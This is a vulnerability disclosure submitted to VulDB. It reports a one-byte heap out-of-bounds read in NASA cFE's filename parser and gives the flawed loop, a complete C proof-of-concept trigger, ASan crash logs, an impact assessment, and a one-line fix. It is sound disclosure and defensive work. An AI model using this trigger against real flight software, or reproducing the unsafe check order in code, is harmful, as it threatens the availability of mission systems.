Invia #969930: NASA Core Flight System / cFE 7.0.1 Heap-based Buffer Overflow

# cFE FS explicit-length separator parsing reads beyond the input buffer

## VulDB submission fields

- **Vendor:** NASA
- **Product:** Core Flight System / cFE
- **Affected version:** cFS 7.0.1 bundle, cFE revision
`c5fb2b4d540bd55eb6c3707da7dd13eee679d4dd`
- **Patched version:** None known; pattern remains in the checked development head
- **Component:** `cfe/modules/fs/fsw/src/cfe_fs_api.c`
- **Function:** `CFE_FS_ParseInputFileNameEx`
- **Weakness:** CWE-125, out-of-bounds read
- **Suggested severity:** Moderate, dependent on which mission command/app passes
an explicitly sized pathname
- **Status:** Present at cFE development revision
`2612eb058cc0c17e774c30e3f833ebb9f93d0d12` on 2026-09-09

## Description

`CFE_FS_ParseInputFileNameEx` accepts a pointer and an explicit input length.
When parsing a pathname or extension separator, the duplicate-separator loop
tests the byte before testing whether any bytes remain:

```c
while (*InputPtr == ComponentTerm && InputLen > 0)
{
++InputPtr;
--InputLen;
}
```

A buffer whose final available byte is a separator advances `InputPtr` to one
past the supplied region and then dereferences it in the next condition test.
Changing the order to `InputLen > 0 && *InputPtr == ComponentTerm` prevents the
read.

This is an explicit-length API bug: the PoC does not rely on a missing NUL
terminator being accidentally readable. A caller must be able to supply or
derive a filename buffer/length ending at a separator. Whether that caller is a
ground command is mission/application dependent.

## Reproduction

```sh
./runners/run_cfe_fs_separator_oob.sh /tmp/nasa-cfs-v7.0.1
```

The runner compiles the production `cfe_fs_api.c`. The control parses `a/b`
with length 3. The trigger allocates exactly one byte containing `/` and passes
length 1. Both paths run three times.

## Dynamic evidence

Control result, 3/3 identical:

```text
case=control input=0x502000000010 explicit_size=3
returned status=0x00000000 output=a/b
```

Trigger result, 3/3 ASan detections:

```text
case=trigger input=0x502000000010 explicit_size=1
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
#0 CFE_FS_ParseInputFileNameEx .../cfe_fs_api.c:531
0x502000000011 is located 0 bytes to the right of 1-byte region
```

Complete evidence: [control](../logs/cfe-fs-separator-control-1.log),
[trigger](../logs/cfe-fs-separator-trigger-1.log), [PoC](../pocs/poc_cfe_fs_separator_oob.c),
[runner](../runners/run_cfe_fs_separator_oob.sh).

### Complete proof-of-concept source

Reproduced inline from [pocs/poc_cfe_fs_separator_oob.c](../pocs/poc_cfe_fs_separator_oob.c):

```c
/*
* Production-source ASan reproducer for CFE_FS_ParseInputFileNameEx().
*
* The trigger is intentionally exact-sized and not NUL terminated. The API
* accepts an explicit input size, so it must not inspect input[input_size].
*/
#include "cfe_fs.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv)
{
char output[64];
char *input;
size_t input_size;
int32 status;

if (argc != 2 || (strcmp(argv[1], "control") != 0 && strcmp(argv[1], "trigger") != 0))
{
fprintf(stderr, "usage: %s control|trigger\n", argv[0]);
return 2;
}

if (strcmp(argv[1], "control") == 0)
{
input_size = 3;
input = malloc(input_size);
if (input == NULL)
{
return 2;
}
memcpy(input, "a/b", input_size);
}
else
{
input_size = 1;
input = malloc(input_size);
if (input == NULL)
{
return 2;
}
input[0] = '/';
}

printf("case=%s input=%p explicit_size=%zu\n", argv[1], (void *)input, input_size);
fflush(stdout);
status = CFE_FS_ParseInputFileNameEx(output, input, sizeof(output), input_size, NULL, NULL, NULL);
printf("returned status=0x%08x output=%s\n", (unsigned int)status, output);
free(input);
return 0;
}
```

### Complete unedited ASan trigger log

Reproduced inline from [logs/cfe-fs-separator-trigger-1.log](../logs/cfe-fs-separator-trigger-1.log):

```text
case=trigger input=0x502000000010 explicit_size=1
=================================================================
==3965315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000011 at pc 0x604d244eee40 bp 0x7ffcd812a9f0 sp 0x7ffcd812a9e0
READ of size 1 at 0x502000000011 thread T0
#0 0x604d244eee3f in CFE_FS_ParseInputFileNameEx /tmp/nasa-cfs-v7.0.1/cfe/modules/fs/fsw/src/cfe_fs_api.c:531
#1 0x604d244ee61e in main .../pocs/poc_cfe_fs_separator_oob.c:49
#2 0x787eb7829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#3 0x787eb7829e3f in __libc_start_main_impl ../csu/libc-start.c:392
#4 0x604d244ee324 in _start (/tmp/cfs-additional-fs-6Tj5qr/poc+0x6324)

0x502000000011 is located 0 bytes to the right of 1-byte region [0x502000000010,0x502000000011)
allocated by thread T0 here:
#0 0x787eb84b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x604d244ee7c9 in main .../pocs/poc_cfe_fs_separator_oob.c:39
#2 0x787eb7829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/nasa-cfs-v7.0.1/cfe/modules/fs/fsw/src/cfe_fs_api.c:531 in CFE_FS_ParseInputFileNameEx
==3965315==ABORTING
```

## Independent verification (2026-09-09)

- **Source confirmed:** `cfe_fs_api.c` still contains the loop
`while (*InputPtr == ComponentTerm && InputLen > 0)` (dereference before the
`InputLen > 0` guard) in the `PATHNAME_SEPARATOR`/`EXTENSION_SEPARATOR` case.
- **Dynamic reproduction:** the runner was recompiled against production
`cfe_fs_api.c` and rerun; control returns status `0x00000000`, the trigger
aborts with an ASan 1-byte heap OOB read at `cfe_fs_api.c:531` (exit 134),
3/3.
- **Reportability:** valid and reportable. Confirmed OOB read primitive in a
production parser reachable via an explicit-length API. Severity is bounded
by caller reachability, so submit as Moderate with the reachability caveat.

## Impact and RCE assessment

The confirmed primitive is a one-byte read beyond the caller-specified region.
ASan terminates the local process, establishing availability impact in an
instrumented build. No attacker-controlled write or observable disclosure
channel was proved, so this report does not claim RCE or information disclosure.

## Remediation

Check the remaining length before dereferencing:

```c
while (InputLen > 0 && *InputPtr == ComponentTerm)
```

Add boundary tests for a zero-length input and for a non-NUL-terminated buffer
whose last byte is `/` or `.`.

## Duplicate review and source

cFS issue #893 concerns the same parser but describes a different alleged
default-path component-length subtraction. This report's minimal trigger and
root cause are the separator-loop evaluation order. The overlap should be
disclosed to the maintainer for disposition. The separate extraction fault in
cFS #983/PR #984 was not counted here.

- **Public references:** <https://github.com/nasa/cFS/issues/893>,
<https://github.com/nasa/cFS/issues/983>, <https://github.com/nasa/cFS/pull/984>
- **Source:** Local security research; add NASA case identifier after private
submission.

• Utente: juntheworld (UID 99760)
• Sottomissione: 09/09/2026 10:14 (25 giorni fa)
• Moderazione: 04/10/2026 09:57 (25 days later)
• Stato: Accettato
• Voce VulDB: 413396 [NASA cFS fino a 7.0.1 cfe_fs_api.c CFE_FS_ParseInputFileNameEx rivelazione di informazioni]
• Punti: 17